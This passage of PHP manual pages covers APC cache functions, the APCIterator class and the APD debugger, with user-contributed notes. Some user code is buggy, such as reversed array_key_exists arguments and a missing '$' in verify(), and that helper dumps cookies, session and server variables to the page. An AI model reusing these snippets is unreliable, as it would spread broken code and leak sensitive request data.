    if ( $valor == NULL ) return FALSE;

    if ( $apcTemp = apc_fetch($apc_var) ) // Verifica se a variavel $apc_var existe no cache APC
    { // Se existir
        if ( !array_key_exists($apcTemp, $key) ) // Verifica se a chave $key existe no array
            $apcTemp[$key] = $valor; // Se $valor não for NULL, adiciona no array

        if ( apc_store("$apc_var", $apcTemp) ) // Tenta atualizar o array no cache
             return TRUE;
        else return FALSE;
    }
    else
    { // Se a variavel $apc_var nao existir no cache adiciona
        if ( $valor == NULL ) // Se $valor for NULL retorna FALSE
            return FALSE;
        else
        {    // Se $valor não for NULL, cria o array
            $apcTemp[$key] = $valor;

            if ( apc_add("$apc_var", $apcTemp) ) // Tenta adicionar o array no cache
                 return TRUE;
            else return FALSE;
        }
    }

}

function apc_array_fetch($apc_var, $key)
{

    if ( $apcTemp = apc_fetch($apc_var) ) // Verifica se a variavel $apc_var existe no cache APC
    { // Se existir
        if ( !array_key_exists($apcTemp, $key) ) // Verifica se a chave $key existe no array
                return FALSE; // Se não existir retorna FALSE
            else
                return $apcTemp[$key]; // Se existir retorna o valor
    }
    else // Se não existir
        return FALSE;

}

?>
Anonymous 31-May-2013 06:44
Interesting info to read before apc_store() implementation:

http://stackoverflow.com/questions/10494744/deadlock-with-apc-exists-apc-add-apc-php
http://stackoverflow.com/questions/4468805/apc-values-randomly-disappear/4532905#4532905
alexey dot maksutov at gmail dot com 23-May-2013 06:13
APC does serialization/deserialization during store/fetch operations as well as it calls __sleep()/__wakeup(), or Serializable::serialize()/Serializable::unserialize(). Tested on PHP 5.4.1.0.
MaxTheDragon at home dot nl 21-Sep-2012 10:39
When specifying a ttl (Time-To-Live), you are allowed to use negative values. This causes a stored entry to be invalidated immediately, but note that it will not physically be removed until you read (eg. apc_fetch or apc_exists) it:

<?php
apc_store('testKey', 'testValue', -1); // ... or any negative integer.

// at this point, the key exists physically but is already technically invalidated by the ttl.

$test = apc_fetch('testKey'); // $test equals false.

// at this point, the key no longer exists physically.
?>

Although you could mimic apc_delete with a negative TTL (like when dealing with cookies), note that the difference is that apc_delete actually physically removes the entry.

This example comes in handy when you want to unit-test a class that uses APC. It's faster to use a negative TTL than a positive in combination with a sleep call to test whether the cache entry has actually been deleted. Other than that I can't think of any situations in which you could use this example, but I'm simply pointing out that doing this will not generate Exceptions or errors.
danil dot gazizov at gmail dot com 03-Feb-2012 08:49
Don't save empty arrays and empty values. Sometimes, you can get wrong apc_exists($someKey) result, that this key doesn't exists.
pere dot cil dot remove dot this at wanadoo dot fr 09-Dec-2011 10:49
Note that caching resources is not possible; even if the apc cache doesn't seems to call the serialize / unserialize functions, that doesn't means that resources can be cached!

Small non-working example:

<?php
// Setter code
$r = fopen( '/tmp/test.txt', 'r' );
var_dump( $r );
apc_store( 'test', $r );
?>

<?php
// Getter code
$d = apc_fetch( 'test' );
var_dump( $d );
echo fread( $d, 1024 );
?>

var_dump( $d ) returns Resource #n of type (Unknown). The resource is still here, but unavailable.
Dominik Deobald / Interdose 17-Nov-2010 08:17
It might be interesting to note that storing an object in the cache does not serialize the object, i.e. does not call the __sleep()/__wakeup() or serialize()/unserialize() methods.
TaRaKa 25-Aug-2010 10:32
Note APC version 3.1.3 there is a bug (http://pecl.php.net/bugs/bug.php?id=16814) that will display a cache slam averted warning for all writes to a cache var that exists. Slam checking can be disabled by setting apc.slam_defense = 0.
eda-qa at disemia dot com 05-Jan-2010 04:40
Note that the TTL only takes effect when you attempt to access the variable again (at least in my version).  That is, just issuing a new request to a page won't clear outdated items -- you have to call apc_fetch on that specific item.

If you call apc_info after the TTL of an item it will still be listed.

This is important if you are expecting items to be cleared to conserve memory.
sebastian at 7val dot com 10-Mar-2008 09:53
Note that since APC 3.0.15 or 3.0.16, the time-to-live-feature does not work within the same request (see http://pecl.php.net/bugs/bug.php?id=13331).
JaskaS 01-Mar-2007 03:06
if you want to store array of objects in apc use ArrayObject wrapper (PHP5).

<?php
$objs = array();
$objs[] = new TestClass();
$objs[] = new TestClass();
$objs[] = new TestClass();

//Doesn't work
apc_store('objs',$objs,60);
$tmp = apc_fetch('objs');
print_r($tmp);

//Works
apc_store('objs',new ArrayObject($objs),60);
$tmp = apc_fetch('objs');
print_r($tmp->getArrayCopy());

?>
Roberto Spadim 12-Jan-2007 11:11
be sure that setting FALSE values can be wrong returned from fetch since fetch return FALSE on errors
php at tequilasolutions dot com 03-Nov-2006 12:45
Seems to be no (easy) way at the to know how old a value fetched is and to check whether it is out of date.

I've made these wrappers so that you can fetch and store values based on a udt returned from get_last_modified_date() which should return a udt of when your data was last changed, and hence needs junking out of the cache.

<?php
function apc_fetch_udt($key){
    $g = apc_fetch($key);
    if ($g){
        list($udt,$val) = $g;
        if (get_last_modified_date()<$udt) {
            $val = unserialize($val);
            return $val;
        } else {
            apc_delete($key);
        }
    }
}
function apc_store_udt($key,$g){
    $udt = time();
    $g   = serialize($g);
    $apc = array($udt,$g);
    apc_store($key, $apc);
}
?>


The APCIterator class

(PECL apc >= 3.1.1)

Introduction

The APCIterator class makes it easier to iterate over large APC caches. This is helpful as it allows iterating over large caches in steps, while grabbing a defined number of entries per lock instance, so it frees the cache locks for other activities rather than hold up the entire cache to grab 100 (the default) entries. Also, using regular expression matching is more efficient as it's been moved to the C level.

Class synopsis

APCIterator implements Iterator {
/* Methods */
public __construct ( string $cache [, mixed $search = null [, int $format = APC_ITER_ALL [, int $chunk_size = 100 [, int $list = APC_LIST_ACTIVE ]]]] )
public mixed current ( void )
public int getTotalCount ( void )
public int getTotalHits ( void )
public int getTotalSize ( void )
public string key ( void )
public void next ( void )
public void rewind ( void )
public void valid ( void )
}

Table of Contents

  • APCIterator::__construct — Constructs an APCIterator iterator object
  • APCIterator::current — Get current item
  • APCIterator::getTotalCount — Get total count
  • APCIterator::getTotalHits — Get total cache hits
  • APCIterator::getTotalSize — Get total cache size
  • APCIterator::key — Get iterator key
  • APCIterator::next — Move pointer to next item
  • APCIterator::rewind — Rewinds iterator
  • APCIterator::valid — Checks if current position is valid

User Contributed Notes

Stefan W 08-Oct-2013 08:05
This class will NOT EXIST if the APC extension is installed but disabled in your php.ini.

This is an important difference to functions like apc_store(), which will still exist and be callable even when APC is disabled. In many installations, the default settings are

   apc.enabled = on
   apc.enable_cli = off

which means that APCIterator exists for HTTP requests, but not with the "cli" SAPI. The solution is to either set "apc.enable_cli" to "on" (with the resultant startup penalty for CLI scripts), or to check the relevant ini settings before your script tries to access APCIterator.


Constructs an APCIterator iterator object

  • « APCIterator
  • APCIterator::current »
  • PHP Manual
  • APCIterator
  • Constructs an APCIterator iterator object

APCIterator::__construct

(PECL apc >= 3.1.1)

APCIterator::__construct — Constructs an APCIterator iterator object

Description

public APCIterator::__construct ( string $cache [, mixed $search = null [, int $format = APC_ITER_ALL [, int $chunk_size = 100 [, int $list = APC_LIST_ACTIVE ]]]] )

Constructs an APCIterator object.

Parameters

cache

The cache type, which will be user or file.

search

A PCRE regular expression that matches against APC key names, either as a string for a single regular expression, or as an array of regular expressions. Or, optionally pass in NULL to skip the search.

format

The desired format, as configured with one or more of the APC_ITER_* constants.

chunk_size

The chunk size. Must be a value greater than 0. The default value is 100.

list

The type to list. Either pass in APC_LIST_ACTIVE or APC_LIST_DELETED.

Return Values

An APCIterator object on success, or NULL on failure.

Examples

Example #1 A APCIterator::__construct() example

<?php
foreach (new APCIterator('user', '/^counter\./') as $counter) {
    echo "$counter[key]: $counter[value]\n";
    apc_dec($counter['key'], $counter['value']);
}
?>

See Also

  • apc_exists() - Checks if APC key exists
  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

puiumarius at gmail dot com 18-Apr-2014 06:13
There is a bug in APCIterator: whatever the chunk size, APCIterator gets ALL keys matching the specified pattern (it seems that $chunk_size parameter is ignored).

Also, the documentation states that the default chunk size is 100, but even that is ignored.

Tested APC version is 3.1.13.

Example (I have 180 keys for this pattern in total):
$objIterator = new APCIterator('user', '/^key_prefix_\.*/', APC_ITER_ALL, 20);

If I itterate $objIterator  and then count() the results, I get 180.

Also, for:
$objIterator = new APCIterator('user', '/^key_prefix_\.*/');
Same count(), 180.

Even $objIterator->getTotalCount() returns 180.
petabyte 10-Aug-2011 03:38
With MAMP (using PHP 5.3.5 and APC 3.1.7) passing an array with multiple regex strings as $search arg always yields an empty APCIterator. Whereas passing a single string regex works. (Note: I only tried cache type 'user'.)

Workaround: Concatenated all regexes to single one with alternation. Example:

<?php
$results = new APCIterator('user', '/^('.implode('|', $patterns).')');
?>
Anti Veeranna 27-Oct-2010 09:46
Iterating (and specifically using current()) does not expunge cache entries for which $ttl has passed, you need to use apc_fetch to get rid of stale entries.


Get current item

  • « APCIterator::__construct
  • APCIterator::getTotalCount »
  • PHP Manual
  • APCIterator
  • Get current item

APCIterator::current

(PECL apc >= 3.1.1)

APCIterator::current — Get current item

Description

public mixed APCIterator::current ( void )

Gets the current item from the APCIterator stack.

Parameters

This function has no parameters.

Return Values

Returns the current item on success, or FALSE if no more items or exist, or on failure.

See Also

  • APCIterator::next() - Move pointer to next item
  • Iterator::current() - Return the current element

User Contributed Notes

There are no user contributed notes for this page.


Get total count

  • « APCIterator::current
  • APCIterator::getTotalHits »
  • PHP Manual
  • APCIterator
  • Get total count

APCIterator::getTotalCount

(PECL apc >= 3.1.1)

APCIterator::getTotalCount — Get total count

Description

public int APCIterator::getTotalCount ( void )

Get the total count.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The total count.

See Also

  • APCIterator::getTotalHits() - Get total cache hits
  • APCIterator::getTotalSize() - Get total cache size
  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

There are no user contributed notes for this page.


Get total cache hits

  • « APCIterator::getTotalCount
  • APCIterator::getTotalSize »
  • PHP Manual
  • APCIterator
  • Get total cache hits

APCIterator::getTotalHits

(PECL apc >= 3.1.1)

APCIterator::getTotalHits — Get total cache hits

Description

public int APCIterator::getTotalHits ( void )

Gets the total number of cache hits.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The number of hits on success, or FALSE on failure.

See Also

  • APCIterator::getTotalCount() - Get total count
  • APCIterator::getTotalSize() - Get total cache size
  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

There are no user contributed notes for this page.


Get total cache size

  • « APCIterator::getTotalHits
  • APCIterator::key »
  • PHP Manual
  • APCIterator
  • Get total cache size

APCIterator::getTotalSize

(PECL apc >= 3.1.1)

APCIterator::getTotalSize — Get total cache size

Description

public int APCIterator::getTotalSize ( void )

Gets the total cache size.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The total cache size.

See Also

  • APCIterator::getTotalCount() - Get total count
  • APCIterator::getTotalHits() - Get total cache hits
  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

There are no user contributed notes for this page.


Get iterator key

  • « APCIterator::getTotalSize
  • APCIterator::next »
  • PHP Manual
  • APCIterator
  • Get iterator key

APCIterator::key

(PECL apc >= 3.1.1)

APCIterator::key — Get iterator key

Description

public string APCIterator::key ( void )

Gets the current iterator key.

Parameters

This function has no parameters.

Return Values

Returns the key on success, or FALSE upon failure.

See Also

  • APCIterator::current() - Get current item
  • Iterator::key() - Return the key of the current element

User Contributed Notes

There are no user contributed notes for this page.


Move pointer to next item

  • « APCIterator::key
  • APCIterator::rewind »
  • PHP Manual
  • APCIterator
  • Move pointer to next item

APCIterator::next

(PECL apc >= 3.1.1)

APCIterator::next — Move pointer to next item

Description

public void APCIterator::next ( void )

Moves the iterator pointer to the next element.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • APCIterator::current() - Get current item
  • APCIterator::rewind() - Rewinds iterator
  • Iterator::next() - Move forward to next element

User Contributed Notes

There are no user contributed notes for this page.


Rewinds iterator

  • « APCIterator::next
  • APCIterator::valid »
  • PHP Manual
  • APCIterator
  • Rewinds iterator

APCIterator::rewind

(PECL apc >= 3.1.1)

APCIterator::rewind — Rewinds iterator

Description

public void APCIterator::rewind ( void )

Rewinds back the iterator to the first element.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • APCIterator::next() - Move pointer to next item
  • Iterator::next() - Move forward to next element

User Contributed Notes

There are no user contributed notes for this page.


Checks if current position is valid

  • « APCIterator::rewind
  • APD »
  • PHP Manual
  • APCIterator
  • Checks if current position is valid

APCIterator::valid

(PECL apc >= 3.1.1)

APCIterator::valid — Checks if current position is valid

Description

public void APCIterator::valid ( void )

Checks if the current iterator position is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current iterator position is valid, otherwise FALSE.

See Also

  • APCIterator::current() - Get current item
  • Iterator::valid() - Checks if current position is valid

User Contributed Notes

There are no user contributed notes for this page.


Advanced PHP debugger

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Building on Win32
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • How to use PHP-APD in your scripts
  • APD Functions
    • apd_breakpoint — Stops the interpreter and waits on a CR from the socket
    • apd_callstack — Returns the current call stack as an array
    • apd_clunk — Throw a warning and a callstack
    • apd_continue — Restarts the interpreter
    • apd_croak — Throw an error, a callstack and then exit
    • apd_dump_function_table — Outputs the current function table
    • apd_dump_persistent_resources — Return all persistent resources as an array
    • apd_dump_regular_resources — Return all current regular resources as an array
    • apd_echo — Echo to the debugging socket
    • apd_get_active_symbols — Get an array of the current variables names in the local scope
    • apd_set_pprof_trace — Starts the session debugging
    • apd_set_session_trace_socket — Starts the remote session debugging
    • apd_set_session_trace — Starts the session debugging
    • apd_set_session — Changes or sets the current debugging level
    • override_function — Overrides built-in functions
    • rename_function — Renames orig_name to new_name in the global function table

User Contributed Notes

There are no user contributed notes for this page.


Introduction

APD is the Advanced PHP Debugger. It was written to provide profiling and debugging capabilities for PHP code, as well as to provide the ability to print out a full stack backtrace. APD supports interactive debugging, but by default it writes data to trace files. It also offers event based logging so that varying levels of information (including function calls, arguments passed, timings, etc.) can be turned on or off for individual scripts.

Caution

APD is a Zend Extension, modifying the way the internals of PHP handle function calls, and thus may or may not be compatible with other Zend Extensions (for example Zend Optimizer).

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Building on Win32
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.


Requirements

No external libraries are needed to build this extension.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/apd.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

In your INI file, add the following lines:

zend_extension = /absolute/path/to/apd.so
apd.dumpdir = /absolute/path/to/trace/directory
apd.statement_tracing = 0

Depending on your PHP build, the zend_extension directive can be one of the following:

zend_extension              (non ZTS, non debug build)
zend_extension_ts           (    ZTS, non debug build)
zend_extension_debug        (non ZTS,     debug build)
zend_extension_debug_ts     (    ZTS,     debug build)

User Contributed Notes

There are no user contributed notes for this page.


Building on Win32

To build APD under Windows you need a working PHP compilation environment as described on http://php.net/ -- basically, it requires you to have Microsoft Visual C++, win32build.zip, bison/flex, and some know how to get it to work. Also ensure that adp.dsp has DOS line endings; if it has unix line endings, Microsoft Visual C++ will complain about it.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

APD Configuration Options
Name | Default | Changeable | Changelog
apd.dumpdir | NULL | PHP_INI_ALL |
apd.statement_tracing | "0" | PHP_INI_ALL | Available since apd 0.9.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

apd.dumpdir string

Sets the directory in which APD writes profile dump files. You can specify an absolute path or a relative path.

You can specify a different directory as an argument to apd_set_pprof_trace().

apd.statement_tracing boolean

Specfies whether or not to do per-line tracings. Turning this on (1) will impact the performance of your application.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

APD constants
Constant | Value | Description
FUNCTION_TRACE (integer) | 1 |
ARGS_TRACE (integer) | 2 |
ASSIGNMENT_TRACE (integer) | 4 |
STATEMENT_TRACE (integer) | 8 |
MEMORY_TRACE (integer) | 16 |
TIMING_TRACE (integer) | 32 |
SUMMARY_TRACE (integer) | 64 |
ERROR_TRACE (integer) | 128 |
PROF_TRACE (integer) | 256 |
APD_VERSION (string) | example: 1.0.2-dev |

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • How to use PHP-APD in your scripts

User Contributed Notes

There are no user contributed notes for this page.


How to use PHP-APD in your scripts

  1. As the first line of your PHP script, call the apd_set_pprof_trace() function to start the trace:

    <?php
    apd_set_pprof_trace    ();
    ?>

    You can insert the line anywhere in your script, but if you do not start tracing at the beginning of your script you discard profile data that might otherwise lead you to a performance bottleneck.

  2. Now run your script. The dump output will be written to apd.dumpdir/pprof_pid.ext.

    Tip

    If you're running the CGI version of PHP, you will need to add the '-e' flag to enable extended information for apd to work properly. For example: php -e -f script.php

  3. To display formatted profile data, issue the pprofp command with the sort and display options of your choice. The formatted output will look something like:

    bash-2.05b$ pprofp -R /tmp/pprof.22141.0

Trace for /home/dan/testapd.php
Total Elapsed Time = 0.00
Total System Time  = 0.00
Total User Time    = 0.00

Real         User        System             secs/    cumm
%Time (excl/cumm)  (excl/cumm)  (excl/cumm) Calls    call    s/call  Memory Usage Name
--------------------------------------------------------------------------------------
100.0 0.00 0.00  0.00 0.00  0.00 0.00     1  0.0000   0.0009            0 main
56.9 0.00 0.00  0.00 0.00  0.00 0.00     1  0.0005   0.0005            0 apd_set_pprof_trace
28.0 0.00 0.00  0.00 0.00  0.00 0.00    10  0.0000   0.0000            0 preg_replace
14.3 0.00 0.00  0.00 0.00  0.00 0.00    10  0.0000   0.0000            0 str_replace

    The -R option used in this example sorts the profile table by the amount of real time the script spent executing a given function. The "cumm call" column reveals how many times each function was called, and the "s/call" column reveals how many seconds each call to the function required, on average.

  4. To generate a calltree file that you can import into the KCacheGrind profile analysis application, issue the pprof2calltree comand.

User Contributed Notes

There are no user contributed notes for this page.


APD Functions

Contact information

If you have comments, bugfixes, enhancements or want to help developing this beast, you can send an mail to » apd@mail.communityconnect.com. Any help is very welcome.

Table of Contents

  • apd_breakpoint — Stops the interpreter and waits on a CR from the socket
  • apd_callstack — Returns the current call stack as an array
  • apd_clunk — Throw a warning and a callstack
  • apd_continue — Restarts the interpreter
  • apd_croak — Throw an error, a callstack and then exit
  • apd_dump_function_table — Outputs the current function table
  • apd_dump_persistent_resources — Return all persistent resources as an array
  • apd_dump_regular_resources — Return all current regular resources as an array
  • apd_echo — Echo to the debugging socket
  • apd_get_active_symbols — Get an array of the current variables names in the local scope
  • apd_set_pprof_trace — Starts the session debugging
  • apd_set_session_trace_socket — Starts the remote session debugging
  • apd_set_session_trace — Starts the session debugging
  • apd_set_session — Changes or sets the current debugging level
  • override_function — Overrides built-in functions
  • rename_function — Renames orig_name to new_name in the global function table

User Contributed Notes

northon_patrick3 at yahoo dot ca 26-Jun-2008 05:36
There seem to be a mistake with the name of the apd_set_socket_session_trace function. In the latest build (version 1.0.1) of apd for PHP, the function is called apd_set_session_trace_socket.

The APD pecl page also have some problems. Some of the links direct you to some adt pages.
judas dot iscariote at gmail dot com 08-May-2006 07:52
if you are looking for better/different alternatives to APD, check the xdebug website http://www.xdebug.org or download it from PECL http://pecl.php.net/xdebug
bugbuster at darrencampbell dot com dot au 22-May-2005 10:53
Locate the root-cause of defects, fast.

If you need to locate the source of a defect in complicated web-based PHP applications with lots of conditional includes (osCommerce and Zen-Cart are reasonably complex), use APD to create a profile dump.

Then filter the dump for lines containing "!" to produce a list of included (required) files in the order they were included.

On my Win98 dev box I use: find "!" dumpfile > trace_program.txt

I use the trace_program.txt to backtrack to the root-cause of defects appearing in the browser.  Great for maintaining systems you did not build yourself.
ng4rrjanbiah at rediffmail dot com 05-Apr-2005 07:52
Some useful links on APD:
1. Profiling PHP Applications ( http://www.schlossnagle.org/~george/talks/Profiling-phpworks-2004.pdf ), [1.40 MB], George Schlossnagle, 2004-09-23
2. PHP Performance Profiling ( http://www.linuxjournal.com/article/7213 ), [13.16 KB], Jonathan Oxer, 2003-10-21
3. APD Wiki ( http://www.wiki.cc/php/Apd )

HTH,
R. Rajesh Jeba Anbiah
yoghurtmetperzik at gmail dot com 25-Jan-2005 04:15
If pprofp reports 'No such file or directory', it's probably because it contains an incorrect path to your php client. Open pprofp in your fav editor, edit the first line, and try again.


Stops the interpreter and waits on a CR from the socket

  • « APD Functions
  • apd_callstack »
  • PHP Manual
  • APD Functions
  • Stops the interpreter and waits on a CR from the socket

apd_breakpoint

(PECL apd >= 0.2)

apd_breakpoint — Stops the interpreter and waits on a CR from the socket

Description

bool apd_breakpoint ( int $debug_level )

This can be used to stop the running of your script, and await responses on the connected socket. To step the program, just send enter (a blank line), or enter a php command to be executed.

Parameters

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Typical session using tcplisten

bash#tcplisten localhost 7777

APD - Advanced PHP Debugger Trace File
---------------------------------------------------------------------------
Process Pid (6118)
Trace Begun at Sun Mar 10 23:13:12 2002
---------------------------------------------------------------------------
(  0.000000): apd_set_session_trace called at /home/alan/Projects/project2/test.
php:5
(  0.074824): apd_set_session_trace_socket() at /home/alan/Projects/project2/tes
t.php:5 returned.  Elapsed (0.074824)
(  0.074918): apd_breakpoint() /home/alan/Projects/project2/test.php:7
              ++ argv[0] $(??) = 9
apd_breakpoint() at /home/alan/Projects/project2/test.php:7 returned.  Elapsed (
-2089521468.1073275368)
>\n
statement: /home/alan/Projects/project2/test.php:8
>\n
statement: /home/alan/Projects/project2/test.php:8
>\n
statement: /home/alan/Projects/project2/test.php:10
>apd_echo($i);
EXEC: apd_echo($i);
0
>apd_echo(serialize(apd_get_active_symbols()));
EXEC:  apd_echo(serialize(apd_get_active_symbols()));
a:47:{i:0;s:4:"PWD";i:1;s:10:"COLORFGBG";i:2;s:11:"XAUTHORITY";i:3;s:14:"
COLORTERM_BCE";i:4;s:9:"WINDOWID";i:5;s:14:"ETERM_VERSION";i:6;s:16:"SE
SSION_MANAGER";i:7;s:4:"PS1";i:8;s:11:"GDMSESSION";i:9;s:5:"USER";i:10;s:5:"
MAIL";i:11;s:7:"OLDPWD";i:12;s:5:"LANG";i:13;s:10:"COLORTERM";i:14;s:8:"DISP
LAY";i:15;s:8:"LOGNAME";i:16;s:6:"
>apd_echo(system('ls /home/mydir'));
........
>apd_continue(0);

User Contributed Notes

There are no user contributed notes for this page.


Returns the current call stack as an array

  • « apd_breakpoint
  • apd_clunk »
  • PHP Manual
  • APD Functions
  • Returns the current call stack as an array

apd_callstack

(PECL apd 0.2-0.4)

apd_callstack — Returns the current call stack as an array

Description

array apd_callstack ( void )

Returns the current call stack as an array

Return Values

An array containing the current call stack.

Examples

Example #1 apd_callstack() example

<?php
print_r(apd_callstack());
?>

User Contributed Notes

andrewpunch at bigfoot.com 11-Sep-2005 11:59
The returned array contains an array of arrays.

Each array appears to contain:
[0] = function name
[1] = filename that contains function
[2] = *calling* line number in *calling* file
[3] = An array which is usually empty


Throw a warning and a callstack

  • « apd_callstack
  • apd_continue »
  • PHP Manual
  • APD Functions
  • Throw a warning and a callstack

apd_clunk

(PECL apd 0.2-0.4)

apd_clunk — Throw a warning and a callstack

Description

void apd_clunk ( string $warning [, string $delimiter = "<BR />" ] )

Behaves like perl's Carp::cluck. Throw a warning and a callstack.

Parameters

warning

The warning to throw.

delimiter

The delimiter. Default to <BR />.

Return Values

No value is returned.

Examples

Example #1 apd_clunk() example

<?php
apd_clunk("Some Warning", "<br/>");
?>

See Also

  • apd_croak() - Throw an error, a callstack and then exit

User Contributed Notes

There are no user contributed notes for this page.


Restarts the interpreter

  • « apd_clunk
  • apd_croak »
  • PHP Manual
  • APD Functions
  • Restarts the interpreter

apd_continue

(PECL apd >= 0.2)

apd_continue — Restarts the interpreter

Description

bool apd_continue ( int $debug_level )

Usually sent via the socket to restart the interpreter.

Parameters

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apd_continue() example

<?php
apd_continue(0);
?>

User Contributed Notes

There are no user contributed notes for this page.


Throw an error, a callstack and then exit

  • « apd_continue
  • apd_dump_function_table »
  • PHP Manual
  • APD Functions
  • Throw an error, a callstack and then exit

apd_croak

(PECL apd 0.2-0.4)

apd_croak — Throw an error, a callstack and then exit

Description

void apd_croak ( string $warning [, string $delimiter = "<BR />" ] )

Behaves like perl's Carp::croak. Throw an error, a callstack and then exit.

Parameters

warning

The warning to throw.

delimiter

The delimiter. Default to <BR />.

Return Values

No value is returned.

Examples

Example #1 apd_croak() example

<?php
apd_croak("Some Warning","<P>");
?>

See Also

  • apd_clunk() - Throw a warning and a callstack

User Contributed Notes

php at peous dot com 05-Jul-2005 09:18
A function that "ASSERTS", ie that dies if the boolean in parameter is false
ex: verify( $myDatabase->Connect() );

<?php
function verify( $bResult )
{
    if (!bResult)
    {
        echo "<hr><h1>ERROR</h1><hr>";
        echo "<pre>Last call arguments:\n";
        for($i=0;$i<func_num_args();$i++)
        {    echo "&rarr;";
            print_r( func_get_arg ($i) );
            echo "&larr;\n";
        }
        if (sizeof($_GET))
        {    echo "<hr>GET VARS\n";
            print_r( $_GET );
        }
        if (sizeof($_POST))
        {    echo "<hr>POST VARS\n";
            print_r( $_POST );
        }
        if (sizeof($_SERVER))
        {    echo "<hr>SERVER VARS\n";
            print_r( $_SERVER );
        }
        if (sizeof($_COOKIE ))
        {    echo "<hr>COOKIE VARS\n";
            print_r( $_COOKIE  );
        }
        // Disable if not on a protected server
        if (sizeof($_SESSION ))
        {    echo "<hr>SESSION VARS\n";
            print_r( $_SESSION  );
        }
        echo "</pre>";
        echo "<hr>";
        if (function_exists("apd_callstack"))
        {    apd_croak("Error !");
        }
        else
        {    die(1);
        }
    }
}
?>


Outputs the current function table

  • « apd_croak
  • apd_dump_persistent_resources »
  • PHP Manual
  • APD Functions
  • Outputs the current function table

apd_dump_function_table

(Unknown)

apd_dump_function_table — Outputs the current function table

Description

void apd_dump_function_table ( void )

Outputs the current function table.

Return Values

No value is returned.

Examples

Example #1 apd_dump_function_table() example

<?php
apd_dump_function_table();
?>

User Contributed Notes

There are no user contributed notes for this page.


Return all persistent resources as an array

  • « apd_dump_function_table
  • apd_dump_regular_resources »
  • PHP Manual
  • APD Functions
  • Return all persistent resources as an array

apd_dump_persistent_resources

(PECL apd 0.2-0.4)

apd_dump_persistent_resources — Return all persistent resources as an array

Description

array apd_dump_persistent_resources ( void )

Return all persistent resources as an array.

Return Values

An array containing the current call stack.

Examples

Example #1 apd_dump_persistent_resources() example

<?php
print_r(apd_dump_persistent_resources());
?>

See Also

  • apd_dump_regular_resources() - Return all current regular resources as an array

User Contributed Notes

There are no user contributed notes for this page.


Return all current regular resources as an array

  • « apd_dump_persistent_resources
  • apd_echo »
  • PHP Manual
  • APD Functions
  • Return all current regular resources as an array

apd_dump_regular_resources

(PECL apd 0.2-0.4)

apd_dump_regular_resources — Return all current regular resources as an array

Description

array apd_dump_regular_resources ( void )

Return all current regular resources as an array.

Return Values

An array containing the current regular resources.

Examples

Example #1 apd_dump_regular_resources() example

<?php
print_r(apd_dump_regular_resources());
?>

See Also

  • apd_dump_persistent_resources() - Return all persistent resources as an array

User Contributed Notes

There are no user contributed notes for this page.


Echo to the debugging socket

  • « apd_dump_regular_resources
  • apd_get_active_symbols »
  • PHP Manual
  • APD Functions
  • Echo to the debugging socket

apd_echo

(PECL apd >= 0.2)

apd_echo — Echo to the debugging socket

Description

bool apd_echo ( string $output )

Usually sent via the socket to request information about the running script.

Parameters

output

The debugged variable.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apd_echo() example

<?php
apd_echo($i);
?>

User Contributed Notes

There are no user contributed notes for this page.


Get an array of the current variables names in the local scope

  • « apd_echo
  • apd_set_pprof_trace »
  • PHP Manual
  • APD Functions
  • Get an array of the current variables names in the local scope

apd_get_active_symbols

(PECL apd 0.2)

apd_get_active_symbols — Get an array of the current variables names in the local scope

Description

array apd_get_active_symbols ( void )

Returns the names of all the variables defined in the active scope, (not their values).

Return Values

A multidimensional array with all the variables.

Examples

Example #1 apd_get_active_symbols() example

<?php
apd_echo(apd_get_active_symbols());
?>

User Contributed Notes

There are no user contributed notes for this page.


Starts the session debugging

  • « apd_get_active_symbols
  • apd_set_session_trace_socket »
  • PHP Manual
  • APD Functions
  • Starts the session debugging

apd_set_pprof_trace

(PECL apd >= 0.2)

apd_set_pprof_trace — Starts the session debugging

Description

string apd_set_pprof_trace ([ string $dump_directory = ini_get("apd.dumpdir") [, string $fragment = "pprof" ]] )

Starts debugging to pprof_{process_id} in the dump directory.

Parameters

dump_directory

The directory in which the profile dump file is written. If not set, the apd.dumpdir setting from the php.ini file is used.

fragment

Return Values

Returns path of the destination file.

Examples

Example #1 apd_set_pprof_trace() example

<?php
apd_set_pprof_trace();
?>

See Also

  • apd_set_session_trace() - Starts the session debugging

User Contributed Notes

